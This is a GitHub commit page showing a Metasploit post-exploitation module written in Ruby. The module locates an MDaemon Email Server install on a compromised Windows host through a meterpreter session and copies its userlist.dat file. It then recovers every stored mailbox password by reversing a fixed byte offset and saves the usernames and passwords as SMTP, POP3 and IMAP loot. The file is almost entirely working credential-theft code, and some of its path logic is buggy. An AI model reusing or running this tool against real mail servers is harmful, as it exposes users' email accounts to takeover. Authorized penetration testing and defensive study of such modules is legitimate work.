Skip to content

Commit f37e736

Browse files
Merge pull request #1 from AgoraSecurity/new_module_mdaemon
New Post Module for Mdaemon.
2 parents b13d0f8 + 401044e commit f37e736

File tree

1 file changed

+315
-0
lines changed

1 file changed

+315
-0
lines changed
Lines changed: 315 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,315 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'base64'
9+
10+
class MetasploitModule < Msf::Post
11+
include Msf::Post::Windows::Registry
12+
Rank = ExcellentRanking
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Windows Gather MDaemonEmailServer Credential Cracking',
16+
'Description' => %q{
17+
Finds and cracks the stored passwords of MDaemon Email Server.
18+
},
19+
'References' =>
20+
[
21+
['BID', '4686']
22+
],
23+
'License' => MSF_LICENSE,
24+
'Author' => ['Manuel Nader #AgoraSecurity'],
25+
'Platform' => ['win'],
26+
'Arch' => ['x64','x86'],
27+
'SessionTypes' => ['meterpreter', 'shell']
28+
))
29+
30+
register_options(
31+
[OptString.new('RPATH', [false, 'Path of the MDaemon installation', false]) # If software is installed on a rare directory
32+
], self.class)
33+
end
34+
35+
def run
36+
if session.type != 'meterpreter'
37+
print_error ('Only meterpreter sessions are supported by this post module')
38+
return
39+
end
40+
progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
41+
locations = []
42+
progfiles_env.each do |_k, v|
43+
vprint_status("Searching MDaemon installation at #{v}")
44+
if session.fs.dir.entries(name = v).include? 'MDaemon'
45+
vprint_status("Found MDaemon installation at #{v}")
46+
locations << v + '\\MDaemon\\'
47+
end
48+
next
49+
end
50+
51+
keys = [
52+
'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon', # 64 bit. Has AppPath
53+
# "HKLM\\SOFTWARE\\Wise Solutions\\WiseUpdate\\Apps\\MDaemon Server" # 32 bit on 64-bit system. Won't find path on register
54+
]
55+
56+
locations = ['C:\MDaemon\App']
57+
58+
if datastore['RHOST'].nil?
59+
locations << datastore['RHOST']
60+
end
61+
62+
keys.each do |key|
63+
begin
64+
root_key, base_key = session.sys.registry.splitkey(key)
65+
value = session.sys.registry.query_value_direct(root_key, base_key, 'AppPath')
66+
rescue Rex::Post::Meterpreter::RequestError => e
67+
vprint_error(e.message)
68+
next
69+
end
70+
locations << value.data + '\\'
71+
end
72+
locations = locations.uniq
73+
locations = locations.compact
74+
userlist = check_mdaemons(locations)
75+
get_mdaemon_creds(userlist) if userlist
76+
end
77+
78+
def crack_password(raw_password)
79+
vprint_status("Cracking #{raw_password}")
80+
offset = [84, 104, 101, 32, 115, 101, 116, 117, 112, 32, 112, 114, 111, 99, 101]
81+
decode = Base64.decode64(raw_password).bytes
82+
crack = decode
83+
result = ''
84+
for i in 0..(crack.size - 1)
85+
if (crack[i] - offset[i]) > 0
86+
result << (crack[i] - offset[i])
87+
else
88+
result << ((crack[i] - offset[i]) + 128)
89+
end
90+
end
91+
vprint_status("Password #{result}")
92+
return result
93+
end
94+
95+
def check_mdaemons(locations)
96+
tmp_filename = (0...12).map { (65 + rand(26)).chr }.join
97+
begin
98+
locations.each do |location|
99+
vprint_status("Checking for Userlist in MDaemons directory at: #{location}")
100+
begin
101+
session.fs.dir.foreach("#{location}") do |fdir|
102+
['userlist.dat'].each do |datfile|
103+
if fdir.downcase == datfile.downcase
104+
filepath = location + '\\' + datfile
105+
print_good("Configuration file found: #{filepath}")
106+
print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}")
107+
vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}")
108+
session.fs.file.download_file(tmp_filename, filepath)
109+
# userdat = session.fs.file.open(filepath).read.to_s.split(/\n/)
110+
return tmp_filename
111+
end
112+
end
113+
end
114+
rescue Rex::Post::Meterpreter::RequestError => e
115+
vprint_error(e.message)
116+
end
117+
end
118+
rescue ::Exception => e
119+
print_error(e.to_s)
120+
return
121+
end
122+
123+
return nil
124+
end
125+
126+
def parse_userlist(data)
127+
# creds = ["['domain','mailbox','full_name','mail_dir','password']"]
128+
creds = []
129+
pop3 = []
130+
imap = []
131+
users = 0
132+
passwords = 0
133+
file = File.open(data)
134+
file.each do |line|
135+
domain = line.slice(0..44).strip!
136+
mailbox = line.slice(45..74).strip!
137+
full_name = line.slice(75..104).strip!
138+
mail_dir = line.slice(105..194).strip!
139+
raw_password = line.slice(195..210)
140+
password = crack_password(raw_password)
141+
access= line.slice(217)
142+
users += 1
143+
passwords += 1
144+
if access == 'Y' # IMAP & POP3
145+
pop3 << [domain, mailbox, full_name, mail_dir, password]
146+
imap << [domain, mailbox, full_name, mail_dir, password]
147+
elsif access == 'P' # POP3
148+
pop3 << [domain, mailbox, full_name, mail_dir, password]
149+
elsif access == 'I' # IMAP
150+
imap << [domain, mailbox, full_name, mail_dir, password]
151+
end
152+
# Saves all the passwords
153+
creds << [domain, mailbox, full_name, mail_dir, password]
154+
end
155+
vprint_status('Collected the following credentials:')
156+
vprint_status(" Usernames: #{users}")
157+
vprint_status(" Passwords: #{passwords}")
158+
vprint_status("Deleting tmp file: #{data}")
159+
del_cmd = 'rm '
160+
del_cmd << data
161+
system(del_cmd)
162+
result = [creds, imap, pop3]
163+
return result
164+
end
165+
166+
def report_cred(creds)
167+
# Build service information
168+
service_data = {
169+
# address: session.session_host, # Gives internal IP
170+
address: session.tunnel_peer.partition(':')[0], # Gives public IP
171+
port: 25,
172+
service_name: 'smtp',
173+
protocol: 'tcp',
174+
workspace_id: myworkspace_id
175+
}
176+
# Iterate through credentials
177+
creds.each do |cred|
178+
# Build credential information
179+
credential_data = {
180+
origin_type: :session,
181+
session_id: session_db_id,
182+
post_reference_name: self.refname,
183+
private_type: :password,
184+
private_data: cred[4],
185+
username: cred[1],
186+
module_fullname: self.fullname
187+
}
188+
credential_data.merge!(service_data)
189+
credential_core = create_credential(credential_data)
190+
191+
# Assemble the options hash for creating the Metasploit::Credential::Login object
192+
login_data = {
193+
core: credential_core,
194+
status: Metasploit::Model::Login::Status::UNTRIED,
195+
# workspace_id: myworkspace_id
196+
}
197+
198+
login_data.merge!(service_data)
199+
create_credential_login(login_data)
200+
201+
print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
202+
end
203+
204+
# report the goods!
205+
loot_path = store_loot('MDaemon.smtp_server.creds', 'text/csv', session, creds.to_csv,
206+
'mdaemon_smtp_server_credentials.csv', 'MDaemon SMTP Users Credentials')
207+
print_status("SMPT credentials saved in: #{loot_path}")
208+
end
209+
210+
def report_pop3(creds)
211+
# Build service information
212+
service_data = {
213+
# address: session.session_host, # Gives internal IP
214+
address: session.tunnel_peer.partition(':')[0], # Gives public IP
215+
port: 110,
216+
service_name: 'pop3',
217+
protocol: 'tcp',
218+
workspace_id: myworkspace_id
219+
}
220+
# Iterate through credentials
221+
creds.each do |cred|
222+
# Build credential information
223+
credential_data = {
224+
origin_type: :session,
225+
session_id: session_db_id,
226+
post_reference_name: self.refname,
227+
private_type: :password,
228+
private_data: cred[4],
229+
username: cred[1],
230+
module_fullname: self.fullname
231+
}
232+
credential_data.merge!(service_data)
233+
credential_core = create_credential(credential_data)
234+
235+
# Assemble the options hash for creating the Metasploit::Credential::Login object
236+
login_data = {
237+
core: credential_core,
238+
status: Metasploit::Model::Login::Status::UNTRIED,
239+
# workspace_id: myworkspace_id
240+
}
241+
242+
login_data.merge!(service_data)
243+
create_credential_login(login_data)
244+
245+
print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
246+
end
247+
248+
# report the goods!
249+
loot_path = store_loot('MDaemon.pop3_server.creds', 'text/csv', session, creds.to_csv,
250+
'mdaemon_pop3_server_credentials.csv', 'MDaemon POP3 Users Credentials')
251+
print_status("POP3 credentials saved in: #{loot_path}")
252+
end
253+
254+
def report_imap(creds)
255+
# Build service information
256+
service_data = {
257+
# address: session.session_host, # Gives internal IP
258+
address: session.tunnel_peer.partition(':')[0], # Gives public IP
259+
port: 143,
260+
service_name: 'imap',
261+
protocol: 'tcp',
262+
workspace_id: myworkspace_id
263+
}
264+
# Iterate through credentials
265+
creds.each do |cred|
266+
# Build credential information
267+
credential_data = {
268+
origin_type: :session,
269+
session_id: session_db_id,
270+
post_reference_name: self.refname,
271+
private_type: :password,
272+
private_data: cred[4],
273+
username: cred[1],
274+
module_fullname: self.fullname
275+
}
276+
credential_data.merge!(service_data)
277+
credential_core = create_credential(credential_data)
278+
279+
# Assemble the options hash for creating the Metasploit::Credential::Login object
280+
login_data = {
281+
core: credential_core,
282+
status: Metasploit::Model::Login::Status::UNTRIED,
283+
workspace_id: myworkspace_id
284+
}
285+
286+
login_data.merge!(service_data)
287+
create_credential_login(login_data)
288+
289+
print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
290+
end
291+
292+
# report the goods!
293+
loot_path = store_loot('MDaemon.imap_server.creds', 'text/csv', session, creds.to_csv,
294+
'mdaemon_imap_server_credentials.csv', 'MDaemon SMTP Users Credentials')
295+
print_status("IMAP credentials saved in: #{loot_path}")
296+
end
297+
298+
def get_mdaemon_creds(userlist)
299+
credentials = Rex::Ui::Text::Table.new(
300+
'Header' => 'MDaemon Email Server Credentials',
301+
'Indent' => 1,
302+
'Columns' =>
303+
[
304+
'Domain',
305+
'Mailbox',
306+
'Full Name',
307+
'Mail Dir',
308+
'Password'
309+
])
310+
result = parse_userlist(userlist)
311+
report_cred(result[0])
312+
report_pop3(result[1])
313+
report_imap(result[2])
314+
end
315+
end

0 commit comments

Comments
 (0)